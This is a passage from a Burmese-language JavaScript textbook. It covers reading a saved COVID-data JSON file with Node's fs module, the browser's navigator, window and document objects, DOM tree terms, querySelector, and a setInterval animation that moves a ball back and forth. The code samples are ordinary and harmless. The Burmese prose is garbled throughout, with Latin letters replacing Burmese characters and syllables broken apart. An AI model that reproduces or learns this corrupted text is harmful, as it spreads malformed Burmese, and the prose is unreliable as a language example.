Data ကြေတွကို oုိင်တစ်ခုနဲ ့သိမ်းလုိက်တယ်ဆိုတဲ့ လုပ်ကြေဆာင်ချက် ရသွားပါတယ်။ စမ်းeကည့်လုိရ့ပါတယ်။
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node get-covid-info.js

လက်ကြေတွ့စမ်းeကည့်တဲ့အခါ  Server  yက်က  Down  ကြေနတာတို၊့  Data  ရယူတာ အကြကိမ်ကြေရgပည့်သွားလုိ့
ထပ်မရကြေတာ့တာတို၊့ File Permission gပဿနာရှိကြေနတာတို့လုိ gပဿနာကြေလးကြေတွ ရှိနိုင်ပါတယ်။ ဒါကြေတွကို
အကြေgoရှာပံု  ရှာနည်းကြေတွထည့်ကြေgပာမထားလုိ့  စမ်းeကည့်ရတာ အဆင်မကြေgပရင် စိတ်မပျက်ပါနဲ။့  ရုိးရုိးနမူနာ
ကြေတခွျည်းပဲ စမ်းကြေနရတာ ပျင်းစရာgoစ်ကြေနမှာစိုးလုိသ့ာ လက်ကြေတွ့ကျတဲ့ နမူနာတစ်ခုကို ထည့်ကြေoာ်gပလုိက်
တာပါ။ တစ်ကယ်ကြေတာ့ ဒီကုဒ်ကလည်း နည်းနည်းအဆင့်ကြေကျာ်ပြပီး ကြေoာ်gပလုိက်တဲ့ကုဒ်လုိ ့ဆိုနိုင်ပါတယ်။ 

လက်စနဲ့  သိမ်းထားတဲ့oုိင်ကကြေန  gပန်ယူပံုကိုလည်း  တစ်ခါထဲကြေgပာလုိက်ချင်ပါတယ်။  show-covid-
info.js အမည်နဲ ့အခုလုိကြေရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 

const fs = require("fs")

fs.readFile('covid-info.json', (err, data) => {
    if(err) {
        console.log(err)
    } else {
        const result = JSON.parse(data)
        const global = result.Global
        const allCountries = result.Countries
        const myanmar = allCountries.find(c => c.Country==="Myanmar")

        console.log("Global:", global, "Myanmar:", myanmar)
    }
})

fs.readFile() Method  ကိုသုံးပြပီး  ကြေစာကြေစာကသိမ်းထားတဲ့oုိင်ကို  oတ်ယူလုိက်တာပါ။  Argument
အကြေနနဲ့  File  Name  နဲ့  Callback  တိုက့ိုကြေပးရပါတယ်။  Callback  Function  က  err နဲ့  data ဆိုတဲ့
Argument  နှစ်ခုကို  လက်ခံပါတယ်။ အကြေeကာင်းအမျ ို းမျ ို းကြေeကာင့် oုိင်ကိုoတ်လုိ့မရရင်  err ထဲမှာ  Error
Message ရှိကြေနမှာgoစ်ပြပီး oတ်လုိရ့ရင် data ထဲမှာ File Content ကြေတွ ရှိကြေနမှာပါ။

ဒါကြေeကာင့် err ရှိမရှိစစ်ပြပီး err မရှိကြေတာ့မှ data ကို JSON.parse() နဲ့ JavaScript Object ကြေgပာင်း
ကြေပးလုိက်တာပါ။ ကျန်အဆင့်ကြေတွရဲ့ အဓိပ္ပါယ်ကိုကြေတာ့ ကြေရှ့ မှာတစ်ခါ ကြေရးခဲ့oူးပြပီးသားမုိလုိ့့ ထပ်ကြေgပာစရာ မ
လုိကြေတာ့yူးလုိ့ထင်ပါတယ်။ လက်ကြေတွ့စမ်းeကည့်လုိက်ပါ။
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node show-covid-info.js

Node  မှာအခုလုိ  File  System  နဲ့  Network  ပုိင်းစီမံတဲ့  Module  ကြေတွအပါအဝင်  တgခား  အသုံးဝင်တဲ့
Standard Module ကြေတွ တစ်ခါထဲ ပါဝင်ပါကြေသးတယ်။ စိတ်ဝင်စားရင် ဒီမှာ ကြေလ့လာeကည့်နိုင်ပါတယ်။

https://nodejs.org/api

https://nodejs.org/api
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အခန်း (၂၂) –  Document Object Model – DOM

Document Object Model (DOM) ဆိုတာ JavaScript   ကို အသံုးgပုပြပီး   HTML Document   ကြေတွကို စီမံလုိ့  
ရကြေအာင် တီထွင်ထားတဲ့ နည်းပညာ goစ်ပါတယ်။  JavaScript  ကို မူလအစကတည်းက Browser  ထဲမှာ
အလုပ်လုပ်တဲ့ Client-side Language တစ်ခုအကြေနနဲ့ တီထွင်ခဲ့eကတာမုိလုိ့့ JavaScript နဲ့ DOM ကို ခွဲလုိမ့
ရပါyူး။ DOM ဆိုတာ JavaScript ရဲ့ အကြေရးအကြကီးဆံုး အခန်းကဏ္ဍတစ်ခု goစ်ပါတယ်။

ကကြေနက့ြေခတ်မှာ  DOM Manipulation  ကြေခါ်  HTML Element  ကြေတွစီမံတဲ့အလုပ်ကြေတွ  လုပ်oုိအ့တွက်  ရုိးရုိး
JavaScript ကုဒ်ကြေတွ အစအဆံုး ကိုယ်တိုင်ကြေရးoုိ့ လုိချင်မှ လုိပါလိမ့်မယ်။ jQuery တို့ React တို့ Vuejs တို့
လုိ နည်းပညာကြေတွရဲ့ အကူအညီနဲ ့တစ်ဆင့်ခံ ကြေဆာင်ရွက်eကoုိ့ များပါတယ်။ 

ဒီကြေနရာမှာ အကြေရးကြကီးတာကြေလးတစ်ခုကို သတိgပုပါ။ ကြေလ့လာနည်းမမှန်ရင် အပြမဲမgပတ်ကြေgပာင်းလဲထွက်ကြေပါ်
ကြေနတဲ့  နည်းပညာသစ်ကြေတွ  ကြေနာက်ကို  အပြမဲမgပတ်  လုိက်ကြေနရတာ  ရင်ကြေမာစရာကြကီး  goစ်ကြေနပါလိမ့်မယ်။
jQuery  ကြေပါ်လာတယ်၊  ကြေကာင်းတယ်ဆိုလုိ့  jQuery  ကြေလ့လာလုိက်တယ်။  ကြေနာက်ကြေတာ့မှ  React  က  ပုိ
ကြေကာင်းတယ် ဆိုလုိ့ React ကို အစအဆံုး gပန်ကြေgပာင်း ကြေလ့လာရgပန်တယ်။ စသည်goင့် နည်းပညာသစ်တစ်
ခုကြေပါ်တိုင်း တစ်ခါ အစအဆံုး eကက်တူကြေရွးနှုတ်တိုက် ဆိုသလုိ ၏-သည် မကြေရွး ကြေလ့လာကြေနရတာ မလွယ်ပါ
yူး။  ဒါကြေပမယ့်  သိသင့်သိထုိက်တဲ့  အကြေgခခံကြေတွ  ကြေeကညက်ထားသူအတွက်  ထပ်ဆင့်နည်းပညာကြေတွ
yယ်ကြေလာက်ကြေgပာင်းကြေgပာင်း ရင်းgမစ်ကိုနားလည်ပြပီး goစ်လုိ့  တစ်ခုကကြေန ကြေနာက်တစ်ခုကို အလွယ်တစ်ကူ
ကူးကြေgပာင်း ကြေလ့လာ အသုံးချနိုင်ပါလိမ့်မယ်။ နည်းပညာသစ်မုိ့လုိ့ အသစ်ထပ် ကြေလ့လာရတာကို ကြေရှာင်လုိမ့
ရနိုင်ကြေပမယ့် အများကြကီး လွယ်ကူgမန်ဆန်သွားမှာgoစ်သလုိ အ့ဲဒီလုိ ကြေလ့လာရလုိလ့ည်း ရင်ကြေမာစရာ မgoစ်
ကြေတာ့တဲ့အgပင် စိတ်ဝင်စား ကြေပျာ်ရ£င်စရာကြေတာင် goစ်ကြေနနိုင်ပါကြေသးတယ်။ 
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ဒါကြေeကာင့်  DOM  နဲ့ပက်သက်တဲ့  အကြေeကာင်းအရာကြေတွကို  ကြေoာ်gပတဲ့အခါ၊  Browser  ကိုအကြေgခခံoန်တီးတဲ့  ပ
ကြေရာင်္ဂျက်အားလုံးရဲ့  အကြေgခခံရင်းgမစ်တစ်ခုအကြေနနဲ့  မgoစ်မကြေနသိထားသင့်တဲ့အတွက်  ကြေoာ်gပgခင်းgoစ်ပါ
တယ်။ တစ်ချ ို ့ပကြေရာင်္ဂျက်ကြေတွမှာ ဒီနည်းကြေတွကို  တိုက်ရုိက် သံုးgoစ်ပါလိမ့်မယ်။ တစ်ချ ို ့ပကြေရာင်္ဂျက်ကြေတွမှာ
တစ်ဆင့်ခံ Framework တစ်ခခုုနဲ့ သံုးgoစ်ပါလိမ့်မယ်။ သံုးgခင်း/မသုံးgခင်း က အဓိကမဟုတ်ပါyူး။ အဓိက
ကကြေတာ့  အကြေgခခံရင်းgမစ်  နည်းပညာတစ်ခုအကြေနနဲ့  သိထားgခင်းအားgoင့်  ကြေရရှည်မှာ  အကျ ို းများမှာမုိလုိ့့
ကြေလ့လာgခင်းgoစ်ပါတယ်။

Document Object Model
Node မှာ Standard Module ကြေတွရှိသလုိပဲ Browser မှာလည်း Standard Object ကြေတွရှိပါတယ်။ အဓိက
အကျဆံုး သုံးခုကကြေတာ့ navigator, window နဲ ့document ဆိုတဲ့ Object သုံးခုပါ။

navigator Object မှာ Browser ကြကီးတစ်ခုလံုးနဲ့ သက်ဆိုင်တဲ့ Property ကြေတွ Method ကြေတွ၊ System
နဲပ့က်သက်တဲ့  Property  ကြေတွ  Method ကြေတွ ပါဝင်ပါတယ်။ ဥပမာ Browser Version ကိုသိချင်ရင် User
Agent Property  ကို သုံးနိုင်တယ်။  navigator.userAgent ဆိုရင်ရပါတယ်။ လက်ရှိ  အင်တာနက်
ဆက်သွယ်ထားgခင်း ရှိမရှ၊ိ  yက်ထရီ  ရှိမရှိ၊  အ့ဲဒါမျ ို းကြေတွ သိချင်ရင်လည်း  navigator Object  ကကြေန
တစ်ဆင့်  ရယူအသံုးgပုနိုင်ပါတယ်။  ဒီကြေနရာမှာ  အဓိကထားကြေgပာမယ့်အကြေeကာင်းအရာကြေတွကြေတာ့  မဟုတ်
ကြေသးပါyူး။ ကြေနာင်လုိအပ်လာရင် navigator Object နဲ့ပက်သက်တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို ဒီလိပ်စာ
မှာ ကြေလ့လာလုိ ့ရနိုင်ပါတယ်။

https://developer.mozilla.org/en-US/docs/Web/API/Navigator

window Object မှာကြေတာ့ လက်ရှိoွင့်ထားတဲ့ Tab နဲ့ သက်ဆိုင်တဲ့ Property ကြေတွ Method ကြေတွ ပါဝင်ပါ
တယ်။ အရင်က Tab Browsing ဆိုတာ မရှိပါyူး။  Web Page အသစ်တစ်ခုကို ထပ်oွင့်ချင်ရင်  Browser
Window  အသစ်တစ်ခုနဲ့ပဲ  oွင့်ရတာပါ။  Window  ပဲ  ရှိခဲ့လုိ့  Object  အမည်က  tab Object  မဟုတ်yဲ
window Object goစ်ကြေနတာပါ။ ဒါကြေeကာင့် window Object ဆိုတာ လက်ရှိoွင့်ထားတဲ့ Tab နဲ့ သက်ဆိုင်
တဲ့ Object goစ်တယ်လုိ့ မှတ်ထားရမှာပါ။ Window ရဲ့ Size တို၊့ Cursor Position တို့ လက်ရှိ URL တိုလုိ့
တန်oုိးကြေတွဟာ Property အကြေနနဲ့ ရှိကြေနပါတယ်။ ဥပမာ window.location.href ဆိုရင် လက်ရှိ oွင့်
ထားတဲ့ URL ကို ရပါတယ်။ ဒါလည်းပဲ ဒီကြေနရာမှာ အဓိကထည့်သွင်းကြေလ့လာမယ့် လုပ်ကြေဆာင်ချက် မဟုတ်

https://developer.mozilla.org/en-US/docs/Web/API/Navigator
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ကြေသးပါyူး။ ကြေနာက်လုိအပ်ရင် ဒီလိပ်စာမှာ ကြေလ့လာနိုင်ပါတယ်။

https://developer.mozilla.org/en-US/docs/Web/API/Window

ထူးgခားချက်တစ်ခုကိုကြေတာ့  ထည့်ကြေgပာgပချင်ပါတယ်။  Browser  ကြေတွက  window Object  ရဲ့  Property
ကြေတွ  Method  ကြေတွကို  အသုံးgပုလုိရင်  window Object  တစ်ဆင့်မခံyဲ  တိုက်ရုိက်အသံုးgပုလုိရ့ကြေအာင်
စီစဉ်ကြေပးထားပါတယ်။ ကြေစာကြေစာက နမူနာကြေgပာခဲ့တဲ့  window.location.href ကို  တစ်ကယ်သံုးရင်
location.href လုိ ့သုံးနိုင်ပါတယ်။ ကြေရှ့က window မထည့်လည်းရပါတယ်။ ရလဒ်အတူတူပဲ goစ်မှာ
ပါ။  ကြေနာက်ဥပမာ  တစ်ခုအကြေနနဲ့  window.alert လုိ့ကြေခါ်တဲ့  Message  Box  တစ်ခုကြေoာ်gပကြေပးနိုင်တဲ့
လုပ်ကြေဆာင်ချက် ရှိပါတယ်။ လက်ကြေတွ့သုံးတဲ့အခါ နှစ်မျ ို းသံုးလုိရ့ပါတယ်။ ဒီလုိပါ – 

 JavaScript 

window.alert("Hello DOM")
alert("Hello DOM")

ဒီထူးgခားချက်ကြေလးကို  မှတ်ထားပါ။ တစ်ကယ်ကြေတာ့  Browser JavaScript  မှာ  Variable  ကြေတွ  Function
ကြေတွကြေeကညာလုိက်ရင်  ကြေeကညာလုိက်တဲ့  Variable  ကြေတွ  Function  ကြေတဟွာ  window Object  ရဲ့
Property ကြေတွ Method ကြေတွgoစ်သွားတာပါ။

https://developer.mozilla.org/en-US/docs/Web/API/Window
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 JavaScript 

var name = "Alice"
console.log(name)    // Alice
console.log(window.name)    // Alice

function add(a, b) {
    return a + b
}

console.log(add(1, 2))    // 3
console.log(window.add(1, 2))    // 3

ဒါကြေeကာင့်  မူလရှိကြေနတဲ့  Global  Function  ကြေတကွြေရာ၊  ကိုယ်ကြေeကညာလုိက်တဲ့  Global  Variable  ကြေတွ
Function ကြေတွရာ အားလုံးက window ရဲ့ Property ကြေတွ Method ကြေတွ goစ်eကတယ်လုိ ့မှတ်ရမှာပါ။

document Object  ကကြေတာ့ အကြေရးအကြကီးဆံုးပါပဲ။ အခုဒီကြေနရာမှာ  document Object  နဲပ့က်သက်တဲ့
အကြေeကာင်းအရာကြေတွကို  အဓိကထား  ကြေလ့လာချင်တာပါ။  document Object  ဟာ  လက်ရှိ  HTML
Document  ကို  ရည်ညွှန်းပြပီး  Document  ထဲမှာပါတဲ့  Element  နဲ့  Content  ကြေတွကို  စီမံနိုင်တဲ့  Property
ကြေတွ Method ကြေတွ စုစည်း ပါဝင်ပါတယ်။ နမူနာအကြေနနဲ ့ဒီ HTML Structure ကိုeကည့်ပါ။

 HTML 

<!DOCTYPE html>
<html>
<head>
    <title>Title</title>
</head>
<body>
    <h1>Heading</h1>
    <p>
        Some paragraph content
        <a href="#">A Link</a>
    </p>
</body>
</html>

ပါဝင်တဲ့  Element ကြေတွ Content ကြေတွကို  DOM နည်းပညာက Object Tree အgoစ်ကြေgပာင်းပြပီး စီမံသွားမှာ
goစ်ပါတယ်။ oဲွ့စည်းပံုက ဒီလုိgoစ်မှာပါ – 



PWD 2023 – အခန်း (၂၂) –  Document Object Model – DOM 344

doctype
html
├── head
│   └── title
└── body
    ├── h1
    └── p
        ├── Text
        └── a

ဒါဟာ  Document Object Model (DOM)  ပါပဲ။  HTML Element    ကြေတွကို  အgပန်အလှန် ဆက်စပ်ကြေနတဲ့  
Object Tree   တစ်ခုကဲ့သုိ့ မှတ်ယူပြပီး စီမံကြေပးနိုင်တဲ့ စနစ်ပါ  ။ HTML Element ကြေတွဟာ Object Tree ကြကီး
တစ်ခုထဲက Node Object ကြေတွgoစ်သွားeကတာပါ။ အကြေခါ်အကြေဝါ် (၆) မျ ို းမှတ်ထားoုိ့ လုိပါလိမ့်မယ်။

• Root Node
• Element Node
• Text Node
• Child Node
• Parent Node
• Decedent Node

- နမူနာအရ doctype နဲ့  html တိုဟ့ာ ပင်မ Root Node ကြေတွပါ။ သူတိုက့ရင်းgမစ်ပါပဲ။ သူတို့အကြေပါ်မှာ
တgခား Node ကြေတွမရှိကြေတာ့ပါyူး။ 

- ဒီ Object Tree မှာ ပါဝင်တဲ့ Node တစ်ခုချင်းစီကို Element Node လုိ့ကြေခါ်ပါတယ်။ 

- html Node ကြေအာက်မှာ head နဲ့  body ဆိုတဲ့ Child Node ကြေတွ ရှိeကပါတယ်။ အgပန်အလှန်အားgoင့်
head Node ရဲ့ Parent Node က html Node goစ်တယ်လုိ ့ကြေgပာရပါတယ်။ 

-  လက်ရှိ  body Node  မှာ  h1 နဲ့  p ဆိုတဲ့  Child Node  နှစ်ခု ထပ်ဆင့်ရှိပါကြေသးတယ်။  h1 နဲ့  p တိုဟ့ာ
html ရဲ့  Child Node  ကြေတွ မဟုတ်eကပါyူး။ ဒါကြေပမယ့် သူတိုက့ို  html ရဲ့  Decedent Node လုိ့ကြေခါ်ပါ
တယ်။ html ရဲ့ Child မဟုတ်ကြေပမယ့် သူကြေအာက်မှာပဲ ထပ်ဆင့်ရှိကြေနတဲ့ Node ကြေတွမုိ့လုိပ့ါ။
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- အကြေပါ်က နမူနာ HTML Structure ကို gပန်eကည့်ပါ။ <p> Element အတွင်းမှာ စာတစ်ချ ို ့ပါဝင်ပါတယ်။
အ့ဲဒီလုိစာကြေတွကို  Text Node လုိ့ကြေခါ်တာပါ။ ဒါကြေeကာင့် p ရဲ့  Child Node အကြေနနဲ့  Text Node တစ်ခုနဲ့  a
Element Node တို ့ရှိကြေနeကတာပါ။

Node  တစ်ခုချင်းစီကို  Object  ကြေတွလုိ့  မှတ်ယူနိုင်ပါတယ်။  gပည့်gပည့်စံုစံု  ကြေgပာမယ်ဆိုရင်ကြေတာ့  HTML
Element Object  နဲ့  DOM Node Object  နှစ်မျ ို းကကြေန ကြေပါင်းစပ် ဆင်းသက်လာတဲ့  Object  ကြေတွပါ။  ဒါ
ကြေeကာင့် အ့ဲဒီ Node ကြေတွမှာ Property ကြေတွ Method ကြေတရွှိeကပါတယ်။ ဒီ Property ကြေတွ Method ကြေတွထဲ
က ကြေရွးချယ်မှတ်သားသင့်တာကြေတွကို ခဏကြေနကြေတာ့ စုစည်းကြေoာ်gပကြေပးပါမယ်။ 

အရင်ကြေလ့လာeကရမှာကကြေတာ့ လုိချင်တဲ့  Node  ကို  DOM Tree  ကကြေန ကြေရွးယူတဲ့နည်း goစ်ပါတယ်။ ဒီလုိ
ကြေရွးယူနိုင်oုိအ့တွက် Selector Method ကြေတွကို သုံးရပါတယ်။ အရင်ကကြေတာ့ အခုလုိ Method ကြေတွကို သုံး
eကပါတယ်။

• document.getElementById()
• document.getElementsByTagName()
• document.getElementsByClassName()

Element ကြေတွကို id နဲ့ကြေရွးယူနိုင်သလုိ Element Name နဲလ့ည်း ကြေရွးယူနိုင်မှာပါ။ class နဲ့လည်း ကြေရွးယူ
နိုင်ပါတယ်။ အခုကြေနာက်ပုိင်းမှာကြေတာ့ ဒီ Method ကြေတွထက်ပုိကြေကာင်းတဲ့ Method ကြေတွ ရှိကြေနပါပြပီ။

• document.querySelector()
• document.querySelectorAll()

ဒီ  Method  ကြေတွကကြေတာ့  CSS Selector  ကြေရးထုံးအတိုင်း အသံုးgပုပြပီး  Element  ကြေတွကို  ကြေရွးယူကြေပးနိုင်တဲ့
Method ကြေတွပါ။ CSS မှာ Element Selector, Class Selector, ID Selector, Decedent Selector, Child
Selector, Attribute Selector စသည်goင့် စံုကြေနကြေအာင်ရှိသလုိ၊ အ့ဲဒီ Selector ကြေတွအတိုင်း JavaScript မှာ
လည်း အကုန်အသံုးgပုနိုင်မှာ goစ်ပါတယ်။  querySelector() Method  က Element  တစ်ခုကို ကြေရွး
ယူoုိ့ သံုးနိုင်ပြပီး querySelectorAll() ကိုကြေတာ့ ကြေပးလုိက်တဲ့  Selector နဲက့ိုက်ညီတဲ့  Element List
ကို ရယူoုိ ့သုံးနိုင်ပါတယ်။
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Element  တစ်ခုကို ကြေရွးယူပြပီးကြေနာက်မှာ  DOM Property  ကြေတွ  Method  ကြေတွကိုသုံးပြပီး အ့ဲဒီ  Element  ကို
စီမံလုိရ့ပြပီ  goစ်ပါတယ်။  အသံုးများမယ့်  Property  ကြေတွ  Method  ကြေတွအကြေeကာင်း  မကြေgပာခင်၊  ပုိပြပီးကြေတာ့
စိတ်ဝင်စားoုိ့ ကြေကာင်းသွားကြေအာင် လက်ကြေတွ့နမူနာကြေလးတစ်ခုကြေလာက် အရင်လုပ်eကည့်လုိက်ချင်ပါတယ်။

HTML Document တစ်ခုတည်ကြေဆာက်ပြပီး ဒီကုဒ်ကို ကူးကြေရးလုိက်ပါ။

 HTML & CSS 

<!DOCTYPE html>
<html>
<head>
    <title>Title</title>
    <style>
        #box {
            position: relative;
            width: 800px;
            height: 30px;
            padding: 10px;
            background: skyblue;
            border: 5px solid darkblue;
        }

        #ball {
            position: absolute;
            left: 0;
            top: 0;
            width: 30px;
            height: 30px;
            border-radius: 30px;
            background-color: red;
        }
    </style>
</head>
<body>
    <div id="box">
        <div id="ball"></div>
    </div>
</body>
</html>
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HTML/CSS  ကြေတွအကြေeကာင်းကို  သိရှိပြပီးသားgoစ်တယ်လုိ့  သကြေyာထားတဲ့အတွက်  ဒီကုဒ်ရဲ့  အကြေeကာင်းကို
ရှင်းgပမကြေနကြေတာ့ပါyူး။  ရှင်းကြေနမှ  ရှုပ်ကြေနပါကြေသးတယ်။  ကြေရးထားတဲ့  ကုဒ်ကိုသာ  ကြေလ့လာeကည့်လုိက်ပါ။
ရလဒ်ကကြေတာ့ အခုလုိရရှိမှာgoစ်ပါတယ်။

လုပ်eကည့်ချင်တာက  id မှာ  ball လုိ့ကြေပးထားတဲ့  Element  ကြေလး  ကြေရွ့လျှားကြေနတဲ့  Animation
လုပ်ကြေဆာင်ချက်ကြေလး ရကြေအာင်  JavaScript  နဲ့  ကြေရးeကည့်ချင်တာပါ။ သိပ်မခက်ပါyူး။ လက်ရှိကြေရးထားတဲ့
CSS  ကုဒ်ကိုကြေလ့လာeကည့်လုိက်ရင်  #ball Element  အတွက်  position: absolute နဲ့  top:
0; left: 0 လုိ့ သတ်မှတ်ကြေပးထားတာကို သတိgပုပါ။ JavaScript ကုဒ်ကြေလးတစ်ချ ို ့ စကြေရးeကပါမယ်။
ဒီကုဒ်ကို ကို HTML Structure ရဲ့ကြေအာက်နား </body> မပိတ်ခင်ကြေလးမှာ ကြေရးထည့်ကြေပးလုိက်ပါ။

 HTML & JavaScript 

<script>
    let ball = document.querySelector("#ball")
    ball.style.left = "100px"
</script>

querySelector() ကိုသုံးပြပီး  ID Selector  နဲ့  #ball Element  ကို  ကြေရွးယူလုိက်ပါတယ်။ ရလဒ်ကို
ball Variable  ထဲမှာ ထည့်လုိက်ပါတယ်။  Variable  ထဲကိုကြေရာက်ရှိသွားမှာ  Element Reference  ကြေခါ်
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အညွှန်းတန်oုိးတစ်ခုgoစ်ပါတယ်။ ဒီသကြေyာကို Variable က ကြေရွးထားတဲ့  Element ကို ကြေထာက်ထားလုိက်
တာ  လုိ့  gမင်eကည့်နိုင်ပါတယ်။  ဒါကြေeကာင့်  Variable  ကြေပါ်မှာgပုလုိက်လုိက်တဲ့  အကြေgပာင်းအလဲကြေတွဟာ
Element ကြေပါ်မှာလည်း သက်ကြေရာက်သွားမှာgoစ်ပါတယ်။

ပထမဦးဆံုး  DOM  Property  အကြေနနဲ့  style Property  ကို  အသုံးgပုထားတာကို  ကြေတွ့ ရနိုင်ပါတယ်။
style Property  နဲအ့တူ  CSS  Property  ကြေတွထဲက  နှစ်သက်ရာကို  ပူးတွဲအသံုးgပုနိုင်ပါတယ်။
background, border, color, textAlign, margin, paddingTop စသည်goင့်ပါ။
ဒီကြေနရာမှာ ကြေရးဟန်ကို သတိgပုပါ။ CSS ကြေတကွြေရးတဲ့အခါ text-align, padding-top စသည်goင့်
Dash  ကြေလးကြေတွသံုးပြပီး ကြေရးeကပါတယ်။  JavaScript  ကုဒ်ထဲမှာ  Dash  ကြေတွကိုသုံးခွင့်မရှိ  Camel Case  နဲ့
ကြေgပာင်းကြေရးကြေပးရပါတယ်။ text-align ဆိုရင် textAlign၊ padding-top ဆိုရင် paddingTop
စသည်goင့် ကြေgပာင်းကြေရးကြေပးရပါတယ်။

အကယ်၍  CSS  ကြေရးထုံးအတိုင်းပဲ ကြေရးချင်တယ်ဆိုရင်လည်း ရကြေတာ့ရပါတယ်။  Object Property  ကြေရးထုံး
အစား Array Index ကြေရးထုံးကိုသုံးနိုင်ပါတယ်။ ဥပမာ ဒီလုိပါ –

 Pseudocode 

element.style["padding-top"] = "10px"
element.style["text-align"] = "center"

နမူနာမှာကြေတာ့  Object  Property  ကြေရးထုံးကိုပဲသုံးပြပီးကြေတာ့   ball.style.left = 100px လုိ့
ကြေgပာထားတဲ့အတွက် #ball Element ရဲ့  CSS Style left ရဲ့တန်oုိး  100px goစ်သွားပါပြပီ။ မူလ CSS
ကုဒ်ထဲမှာ  0  လုိ့ကြေgပာထားကြေပမယ့် ဒီ  JavaScript  ကုဒ်အလုပ်လုပ်သွားတဲ့အခါ တန်oုိးကြေgပာင်းသွားပါပြပီ။ ဒါ
ကြေeကာင့် စမ်းeကည့်လုိက်ရင် ရလဒ်ကို အခုလုိကြေတွ့gမင်ရမှာပါ။
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#ball Element  ဟာ  left: 100px မှာကြေနရာယူကြေoာ်gပကြေနgခင်းပဲgoစ်ပါတယ်။  ဒီ  Element  ကြေလး
တစ်goည်းgoည်းနဲ့ ကြေရွ့ သွားတဲ့ လုပ်ကြေဆာင်ချက်ကြေလး ရoုိအ့တွက် JavaScript ကုဒ်ကို ဒီလုိgပင်ကြေရးကြေပးလုိက်
ပါမယ်။

 HTML & JavaScript 

<script>
    let ball = document.querySelector("#ball")
    
    let left = 0
    
    setInterval(() => {
        left += 1
        if(left > 790) left = 0
        ball.style.left = `${left}px`
    }, 10)
</script>

left Variable  တစ်ခုကြေeကညာထားပြပီး  တန်oုိးကို  0  လုိသ့တ်မှတ်ထားပါတယ်။  ပြပီးခဲ့တဲ့အခန်းကြေတွမှာ
setTimeout() Function  အကြေeကာင်းကို  ကြေလ့လာoူးခဲ့eကပါတယ်။  သတ်မှတ်ထားတဲ့အချနိ်  ကြေရာက်
ကြေတာ့မှ  Callback  Function  ကို  အလုပ်လုပ်ကြေပးတဲ့  Function  ပါ။  အခုတစ်ခါ  setInterval()
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Function  ကို  သုံးgပထားပါတယ်။  setInterval() ကလည်း  setTimeout() လုိပါပဲ။ သတ်မှတ်
အချနိ်  ကြေရာက်ကြေတာ့မှ  Callback Function  ကို  အလုပ်လုပ်ကြေပးတာပါ။ ဒါကြေပမယ့်  setTimeout() က
တစ်ကြကိမ်ပဲ  လုပ်ပြပီး  setInterval() ကကြေတာ့  ထပ်ခါထပ်ခါ  လုပ်သွားမှာပဲ  goစ်ပါတယ်။  နမူနာမှာ
setInterval() ရဲ့ ဒုတိယ Argument  ကို  10  လုိ့ကြေပးထားတဲ့အတွက်  10  မီလီစက္ကန့်gပည့်တိုင်း တစ်
ကြကိမ် ထပ်ခါထပ်ခါ အလုပ်လုပ်သွားမှာ goစ်ပါတယ်။

yာကြေတွ လုပ်သွားတာလဲဆိုကြေတာ့ ကြေရးထားတဲ့ကုဒ်ကို ကြေလ့လာeကည့်ပါ။  left ကို  1  တိုးကြေပးထားတာပါ။
ဒါကြေeကာင့်  10  မီလီစက္ကန့်တိုင်းမှာ  1px စီyယ်ကကြေနညာကို  ကြေရွ့သွားမှာ  goစ်ပါတယ်။ အ့ဲဒီလုိကြေရွ့သွားတဲ့
အခါပင်မ  box Element  ထက်ကြေတာ့ ကြေကျာ်မသွားကြေစချင်ပါyူး။ ဒါကြေeကာင့်  box ရဲ့  width goစ်တဲ့  800
ကို  ကြေကျာ်သွားခဲ့ရင်  left တန်oုိးကို  0  gပန်လုပ်ကြေပးရမှာပါ။  နမူနာမှာ  800  လုိ့  မသတ်မှတ်yဲ  790  ကို
ကြေကျာ်သွားရင် 0 goစ်ရမယ်လုိ့ gပန်သတ်မှတ် ထားတာကကြေတာ့ box width + (padding * 2) –
ball width ကိုတွက်ယူထားတာ မုိ့လုိပ့ါ။  CSS Box Model  ကိုကြေလ့လာoူးရင်  Padding ကြေeကာင့်  Box
အရွယ်အစား ကြေgပာင်းပုံကို သိeကပြပီးgoစ်မှာပါ။ မိမိနှစ်သက်ရာတန်oုိးကြေတွ အမျ ို းမျ ို းအတိုးအကြေလျှာ့ကြေgပာင်းပြပီး
စမ်းeကည့်သင့်ပါတယ်။

တစ်ကယ်ကြေတာ့ ဒီလုပ်ကြေဆာင်ချက် ရoုိအ့တွက် JavaScript ကုဒ်ကြေတွ မလုိကြေသးပါyူး၊  CSS Animation နဲ့
တင်  လုပ်လုိရ့နိုင်ပါတယ်။  ဒါကြေပမယ့်  HTML  Element  ကြေတွကို  JavaScript  နဲ့  စီမံနိုင်တယ်ဆိုတဲ့
သကြေyာသyာဝ နမူနာကို ရကြေစoုိအ့တွက် ကြေoာ်gပလုိက်တာပါ။ ကြေရးလက်စနဲ ့စဉ်းစားစရာ Condition Logic
ကြေလးတစ်ချ ို ့ ထပ်goည့်ပါဦးမယ်။

လက်ရှိနမူနာမှာ  ball ကြေလးက  အဆံုးကိုကြေရာက်ရင်  အစကို  ချက်ချင်းgပန်ကြေရာက်သွားပါတယ်။  အ့ဲဒီလုိ
ချက်ချင်းgပန်ကြေရာက်မယ့်အစား  တစ်ကြေရွ့ကြေရွ့နဲ့  အဆံုးကိုကြေရာက်သွားရင်  တစ်ကြေရွ့ကြေရွ့နဲ့ပဲ  အစကို  gပန်သွား
ကြေအာင် လုပ်eကည့်ချင်ပါတယ်။ ကြေရးထားတဲ့ကုဒ်ကို ဒီလုိgပင်ကြေပးရမှာပါ။
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 HTML & JavaScript 

<script>
    let ball = document.querySelector("#ball")
    
    let left = 0
    let direction = "right"

    setInterval(() => {
        if(direction === "right") {
            left += 1
            if(left > 790) direction = "left"
        } else {
            left -= 1
            if(left < 1) direction = "right"
        }

        ball.style.left = `${left}px`
    }, 10)
</script>

နမူနာမှာ  direction Variable  တစ်ခု  ပါသွားပါပြပီ။  setInterval() ထဲမှာ  direction က
right goစ်မှ left တန်oုိးကို 1 တိုးထားပါတယ်။ မဟုတy်ူးဆိုရင် 1 နှုတ်ထားပါတယ်။ ဒါကြေeကာင့် တစ်
ကြေရွ့ကြေရွ့  1  တိုးပြပီးသွားရာကကြေန အဆံုးကိုကြေရာက်တဲ့အခါ  တစ်ကြေရွ့ကြေရွ့  1  နှုတ်ပြပီး  gပန်လာမှာ  goစ်ပါတယ်။
